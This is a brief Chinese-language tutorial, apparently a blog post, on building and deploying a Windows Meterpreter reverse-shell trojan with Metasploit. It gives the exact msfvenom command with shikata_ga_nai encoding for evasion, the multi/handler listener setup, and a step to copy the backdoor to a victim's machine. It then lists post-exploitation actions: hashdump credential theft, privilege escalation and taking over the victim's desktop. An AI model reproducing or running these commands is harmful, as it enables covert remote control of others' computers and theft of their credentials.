1.启动msfconsole命令模式
2.msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.106 LPORT=1234 -f exe > ./test.exe
3.启动msfconsole命令模式 use exploit/multi/handler  使用handler这个模块,set PAYLOAD windows/meterpreter/reverse_tcp   show options如果看到没有热河参数直接下一步(set LHOST=自己的ip set LPORT=端口),
  然后
 使用这个shellcode 然后show options 看到提示 LHOST LPORT 这里填生成木马的自己的ip和端口 set LHOST 自己的ip 回车 然后set LPORT 端口
4.exploit 回车 然后等待目标点击test.ext文件上线




1.执行以下命令:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.106 LPORT=1234 -f exe > ./test.exe
2.将test.exe复制到受害者主机上
3.在Kali中输入msfconsole,并按照下图进行配置:
4.执行exploit,然后在受害者主机上运行test.exe后门木马,Metasploit接到反馈
   session
得到meterpreter后,可以执行getuid、hashdump以及提权操作,还可以通过getgui命令拿受害主机的图形界面。



相关文章:

  • 2021-11-17
  • 2021-12-23
  • 2021-10-15
  • 2021-12-05
  • 2021-12-03
  • 2021-12-16
  • 2021-11-03
  • 2021-11-12
猜你喜欢
  • 2021-10-01
  • 2021-12-06
  • 2021-10-26
  • 2021-10-16
  • 2021-09-25
  • 2021-07-21
  • 2021-12-15
  • 2021-12-11
相关资源
相似解决方案